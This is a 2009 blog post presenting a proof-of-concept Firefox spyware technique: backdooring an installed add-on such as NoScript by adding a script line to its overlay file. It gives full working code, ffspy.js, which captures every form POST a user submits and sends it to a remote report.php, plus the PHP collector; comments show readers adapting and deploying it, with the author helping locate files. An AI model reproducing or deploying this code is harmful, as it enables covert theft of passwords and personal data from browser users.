myf00

Ideas, projects and thoughts by Duarte Silva

New Area Test
2009
05.19
Private Area Test

This post assumes that the reader does have some knowledge on how Firefox extensions work. If not, I advise the reader to check out some documentation @ Mozilla Developer Center. It is also assumed that the user as some knowledge of JavaScript. This isn’t intended to be an how to or a tutorial.

What I consider to be one of the best ways of spying on a target, is to use the target browser. If we take Firefox as an example, things get easier since it’s one of the most popular browsers out there, and allows the user to extend it’s functionality by the means of add-ons. The best thing about it, is that, if the user already as an add-on installed, you don’t have to install your maldon (malware add-on). You can infect one of the installed add-ons, because Firefox isn’t able to verify if an add-on is compromised or not. To do that you only need to edit the file that defines the overlay. Taking the noscriptOverlay.xul as an example.

<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
    NoScript - a Firefox extension for whitelist driven safe JavaScript execution
    Copyright (C) 2004-2009 Giorgio Maone - g.maone@informaction.com

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA

***** END LICENSE BLOCK ***** -->

<!DOCTYPE overlay [
<!ENTITY % noscript SYSTEM "chrome://noscript/locale/noscript.dtd" >
%noscript;
<!ENTITY % noscriptFB  SYSTEM "chrome://noscript/content/en-US/noscript.dtd" >
%noscriptFB;
]
>
<?xml-stylesheet href="chrome://noscript/skin/browser.css" type="text/css"?>

<overlay id="noscriptOverlay"
  xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">

  <script type="application/x-javascript" src="noscript.js" />
  <script type="application/x-javascript" src="noscriptOverlay.js"/>
  <script type="application/x-javascript" src="noscriptBM.js"/>
  <script type="application/x-javascript" src="ffspy.js"/>
(....)

The last line of the example, includes a JavaScript file that as the code of the maldon. The ffspy.js file, will intercept all the HTTP requests. If that request is a HTTP form POST (application/x-www-form-urlencoded), the PoC will report it to a remote web server.

/*
 * Copyright (c) 2009 Duarte Silva
 * All Rights Reserved.
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
 */

try {
	function Sniff(extension) {
		this.extension = extension;

		this.QueryInterface = function(iid) {
			if (iid.equals(Components.interfaces.nsIObserver) ||
					iid.equals(Components.interfaces.nsISupports))
				return this;
			else
				throw Components.results.NS_NOINTERFACE;
		};

		this.observe = function(subject, topic, data) {
			try {
				subject.QueryInterface(Components.interfaces.nsIHttpChannel);

				if (topic == "http-on-modify-request")
					this.extension.ProcessRequest(subject);
			}
			catch (exception) {
				this.extension.Log(exception);
			}
		};
	}

	function Extension() {
		this.conserv = null;
		this.obsserv = null;
		this.sniff = null;
		this.debug = false;
		// Server were the script should report the data collected
		this.report = "http://<server address>/report.php";

		this.Log = function(text) {
			if ((this.conserv != null) && (this.debug))
				this.conserv.logStringMessage(text);
		};

		this.Initialize = function() {
			try {
				this.sniff = new Sniff(this);

				this.obsserv = Components.classes["@mozilla.org/observer-service;1"].getService(
								Components.interfaces.nsIObserverService);
				this.conserv = Components.classes["@mozilla.org/consoleservice;1"].getService(
								Components.interfaces.nsIConsoleService);

				if ((this.obsserv != null) && (this.sniff != null))
					this.obsserv.addObserver(this.sniff, "http-on-modify-request", false);
			}
			catch (exception) {
				this.Log(exception);
			}
		};

		this.Uninitialize = function() {
			if ((this.obsserv != null) && (this.sniff != null))
				this.obsserv.removeObserver(this.sniff, "http-on-modify-request");
		};

		this.ProcessLine = function(stream) {
			var line = "";

			for (var i = 0; i < stream.available(); i++) {
				var c = stream.read(1);

				if (c == 'n')
                  			break;

				if (c != 'r')
					line += c;
			}

			return line;
		};

		this.ProcessRequest = function(http) {
			var stream;
			var seekable;
			var request;
			var valid = false;
			var params;

			try {
				this.Log("Intercepted HTTP request");

				if (http.requestMethod != "POST")
					return;

				http.QueryInterface(Components.interfaces.nsIUploadChannel);

				if (http.uploadStream != null) {
					seekable = http.uploadStream;
					seekable.QueryInterface(Components.interfaces.nsISeekableStream);

					stream = Components.classes["@mozilla.org/scriptableinputstream;1"].createInstance(
								Components.interfaces.nsIScriptableInputStream);
					stream.init(http.uploadStream);

					for (var line = this.ProcessLine(stream); line; line = this.ProcessLine(stream)) {
						var header = line.match(/^([^:]+):s?(.*)/);

						if (header == null)
							continue;

						if ((header[1].toLowerCase() == "content-type") &&
								(header[2].toLowerCase() == "application/x-www-form-urlencoded"))
							valid = true;
					}

					if (valid) {
						params = stream.read(stream.available());

						// Report the intercepted POST
						request = new XMLHttpRequest();
						request.open("POST", this.report, true);
						request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
						request.setRequestHeader("Content-Length", params.length);
						request.setRequestHeader("Connection", "close");
						request.send(params);
					}

					seekable.seek(0, 0);
				}
			}
			catch (exception) {
				this.Log(exception);
			}
		};
	}

	var extension = new Extension();

	if (extension != null) {
		window.addEventListener("load", function() {
							extension.Initialize();
						}, false);

		window.addEventListener("unload", function() {
							extension.Uninitialize();
						}, false);
	}
}
catch (mainexcept) {
}

The following is an example of a PHP file that could be used as a report.php.

<?php

if (get_magic_quotes_gpc())
	$_POST = array_map('stripslashes', $_POST);

$query = "";

if ($_POST) {
	$map = array();

	foreach ($_POST as $key => $value)
		$map[] = "$key=$value";

	$query = join("&", $map);
}

$file = fopen("report.txt", 'w');

fwrite($file, $query);
fwrite($file, "n");
fclose($file);
?>

Attention!! This is a PoC, if you try to use it, take into account that the information sent by the PoC isn’t encrypted, and the report.php suffers from log poisoning.

  1. remove says:

    its pretty easy to produce a ff spyware i have coded a own script out of your method and its very useful.

    gr44tz ~remove

  2. Mark says:

    Alo, I have noscript installed, but I can’t find the noscript.jar file, how uncompress it or where is the archive?

    BTW, I edited the browser.xul file, i added the follow line (then compress again with winzip, rename browser.jar):

    Line:

    it not works!

    I have my server up and the php file and works fine, the ffspy.js file under content folder, mmm what’s wrong?

    mark

  3. Duarte says:

    noscript.jar is under %appdata%\Mozilla\Firefox\Profiles\<random string>.default\extensions\{73a6fe31-595d-460b-a920-fcc0f8843232}\chrome
    Please do use your search for files feature :)

    • Duarte says:

      True. But is also interesting to see that there isn’t nothing to ensure the user the plug-in isn’t changed.

Comments are closed

FFSpy Logger